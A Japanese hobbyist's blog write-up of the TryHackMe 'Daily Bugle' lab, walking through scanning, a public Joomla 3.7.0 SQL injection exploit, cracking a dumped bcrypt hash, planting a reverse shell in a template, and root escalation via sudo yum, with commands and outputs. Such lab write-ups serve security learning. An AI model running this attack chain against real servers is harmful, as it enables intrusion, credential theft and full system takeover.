TryHackMeのDaily Bugleって問題を解いた

最近ちょっとTryHackMeにハマってる

何?

仕事とは一切関係ないけど、たまに暇なときにポチポチTryHackMe(セキュリティ初心者向けの勉強サイト)埋めてる
基本クイズ形式で誘導に乗るだけなので楽でいい(CTF挫折した人とかいいかも?)

そんな中、ほとんどヒントがない問題でルートを取るみたいなことができて嬉しかったので記録
何も知らん人が見てもなんとなくノリがつかめて面白いって思えるかもしれない
チュートリアル的な位置づけのサイトなので問題は超簡単な部類だと思う

問題

tryhackme.com
なんかサイトがあるので、ルート権限を取れって問題

解法

(中断したりしたのでtargetのurlが変わってたりするけど気にしない)
とりあえず与えられたipアドレスを見に行く

特に何もなさそうなので、定番の手順を踏む

└─$ sudo nmap -sS -sV 10.10.58.244
[sudo] password for gasin:
Starting Nmap 7.91 ( https://nmap.org ) at 2022-05-15 18:26 JST
Nmap scan report for 10.10.58.244
Host is up (0.38s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
3306/tcp open  mysql   MariaDB (unauthorized)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.09 seconds
└─$ gobuster dir -u http://10.10.58.244 -w /usr/share/wordlists/dirb/big.txt -t 100 -q -x txt,php,html
/.htpasswd            (Status: 403) [Size: 211]
/.htpasswd.txt        (Status: 403) [Size: 215]
/.htpasswd.php        (Status: 403) [Size: 215]
/.htpasswd.html       (Status: 403) [Size: 216]
/.htaccess            (Status: 403) [Size: 211]
/.htaccess.php        (Status: 403) [Size: 215]
/.htaccess.html       (Status: 403) [Size: 216]
/.htaccess.txt        (Status: 403) [Size: 215]
/LICENSE.txt          (Status: 200) [Size: 18092]
/README.txt           (Status: 200) [Size: 4494]
/administrator        (Status: 301) [Size: 242] [--> http://10.10.58.244/administrator/]
/bin                  (Status: 301) [Size: 232] [--> http://10.10.58.244/bin/]
/cache                (Status: 301) [Size: 234] [--> http://10.10.58.244/cache/]
/cgi-bin/             (Status: 403) [Size: 210]
/cgi-bin/.html        (Status: 403) [Size: 215]
/cli                  (Status: 301) [Size: 232] [--> http://10.10.58.244/cli/]
/components           (Status: 301) [Size: 239] [--> http://10.10.58.244/components/]
/configuration.php    (Status: 200) [Size: 0]
/htaccess.txt         (Status: 200) [Size: 3005]
/images               (Status: 301) [Size: 235] [--> http://10.10.58.244/images/]
/includes             (Status: 301) [Size: 237] [--> http://10.10.58.244/includes/]
/index.php            (Status: 200) [Size: 9278]
/language             (Status: 301) [Size: 237] [--> http://10.10.58.244/language/]
/layouts              (Status: 301) [Size: 236] [--> http://10.10.58.244/layouts/]
/libraries            (Status: 301) [Size: 238] [--> http://10.10.58.244/libraries/]
/media                (Status: 301) [Size: 234] [--> http://10.10.58.244/media/]
/modules              (Status: 301) [Size: 236] [--> http://10.10.58.244/modules/]
/plugins              (Status: 301) [Size: 236] [--> http://10.10.58.244/plugins/]
/robots.txt           (Status: 200) [Size: 836]
/robots.txt           (Status: 200) [Size: 836]
/templates            (Status: 301) [Size: 238] [--> http://10.10.58.244/templates/]
/tmp                  (Status: 301) [Size: 232] [--> http://10.10.58.244/tmp/]

/administratorを見に行く

joomlaが何かは知らないけど、とりあえずバージョン情報を得たい。
適当にファイル見てもなかなか書いてなかったのでググる
hackertarget.com
サイトの言うとおりに/administrator/manifests/files/joomla.xmlを開いたら書いてあった

バージョンが分かったのでsearchsploitで脆弱性検索してみる

└─$ searchsploit joomla 3.7.0
--------------------------------------------------------------- ---------------------------------
 Exploit Title                                                 |  Path
--------------------------------------------------------------- ---------------------------------
Joomla! 3.7.0 - 'com_fields' SQL Injection                     | php/webapps/42033.txt
Joomla! Component Easydiscuss < 4.0.21 - Cross-Site Scripting  | php/webapps/43488.txt
--------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

42033.txtを読むと、blind SQL injectionが可能ということっぽいが、どうやればいいのかよくわからない
よくわからないのでググってたらexploitが公開されてた
github.com
とりあえず動かしてみる

└─$ python joomblah.py http://10.10.58.217

    .---.    .-'''-.        .-'''-.
    |   |   '   _    \     '   _    \                            .---.
    '---' /   /` '.   \  /   /` '.   \  __  __   ___   /|        |   |            .
    .---..   |     \  ' .   |     \  ' |  |/  `.'   `. ||        |   |          .'|
    |   ||   '      |  '|   '      |  '|   .-.  .-.   '||        |   |         <  |
    |   |\    \     / / \    \     / / |  |  |  |  |  |||  __    |   |    __    | |
    |   | `.   ` ..' /   `.   ` ..' /  |  |  |  |  |  |||/'__ '. |   | .:--.'.  | | .'''-.
    |   |    '-...-'`       '-...-'`   |  |  |  |  |  ||:/`  '. '|   |/ |   \ | | |/.'''. \
    |   |                              |  |  |  |  |  |||     | ||   |`" __ | | |  /    | |
    |   |                              |__|  |__|  |__|||\    / '|   | .'.''| | | |     | |
 __.'   '                                              |/'..' / '---'/ /   | |_| |     | |
|      '                                               '  `'-'`       \ \._,\ '/| '.    | '.
|____.'                                                                `--'  `" '---'   '---'

 [-] Fetching CSRF token
 [-] Testing SQLi
  -  Found table: fb9j5_users
  -  Extracting users from fb9j5_users
 [$] Found user [u'811', u'Super User', u'jonah', u'jonah@tryhackme.com', u'$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm', u'', u'']
  -  Extracting sessions from fb9j5_session

なんかユーザー名とパスワードのハッシュっぽいものが手に入った
とりあえずjohn the ripperに投げる(こういうのいつまで待てばいいのかわからん)

└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spiderman123     (?)
1g 0:00:04:40 DONE (2022-05-15 22:16) 0.003563g/s 167.0p/s 167.0c/s 167.0C/s thelma1..setsuna
Use the "--show" option to display all of the cracked passwords reliably
Session completed

ユーザ名とパスワードが分かったのでログインする

写真をuploadできるので、webshell埋め込むのかなと思って拡張子変えてみたり、シグネチャ変えてみたり、MIME変えてみたり、色々したけどうまくいかなかった
何もわからんと言いながら適当にサイトポチポチしてたらExtensionのTemplatesにあるファイルを自由に上書きできることに気付く

Beez3っていうテンプレートのindex.phpをリバースシェルに置き換えてncで待ち構えて/templates/beez3にアクセスしてみたらシェルが取れた

└─$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.4.36.219] from (UNKNOWN) [10.10.120.83] 45394
Linux dailybugle 3.10.0-1062.el7.x86_64 #1 SMP Wed Aug 7 18:08:02 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 09:12:55 up  1:46,  0 users,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache)
sh: no job control in this shell
sh-4.2$

けど、権限が無くてuser.txtすら見れない
手元をhttpでホスティングすればサーバからwgetでファイルを持ってこれるのでlinpeasを引っ張ってくる
github.com
とりあえずlinpeasを走らせて、よくわからん情報達(なんか1000行以上ある)に目を通してるとなんかパスワードが見える

╔══════════╣ Searching passwords in config PHP files
        public $password = 'nv5uz9r3ZEDzVjNu';
                        $this->password = (empty($this->options['db_pass'])) ? '' : $this->options['db_pass'];
                        $this->password = null;
                        'password' => $this->password,

そのパスワードを使うと他のユーザに乗り移れる

bash-4.2$ ls /home
ls /home
jjameson
bash-4.2$ su jjameson
su jjameson
Password: nv5uz9r3ZEDzVjNu

[jjameson@dailybugle /]$

後は権限昇格してrootユーザになればいい
典型コマンドをたたく

[jjameson@dailybugle /]$ sudo -l
sudo -l
Matching Defaults entries for jjameson on dailybugle:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User jjameson may run the following commands on dailybugle:
    (ALL) NOPASSWD: /usr/bin/yum

yumがsudoで叩けるらしいので典型サイトを見に行く
gtfobins.github.io
kali linuxdebian系だからrpm-buildが入らないらしい
superuser.com
alianとかいうの入れたらなんか知らんけどfpmコマンドが動いた
gtfobinsに書いてある手順に従ってexploitをサーバに送ってサーバで実行する

[jjameson@dailybugle tmp]$ ./exploit.sh
./exploit.sh
Loaded plugins: y
No plugin match for: y
sh-4.2# whoami
whoami
root

勝利!!!!!

感想

何すればいいかわからんフェーズに入るとしらみつぶしみたいなのが始まってしんどいけど、スイスイ進んだ時は楽しかった
やってること1個1個はかなり初歩だけど、ステップ踏むとなんかそれっぽくなるのは嬉しい
今後もぼちぼちやっていき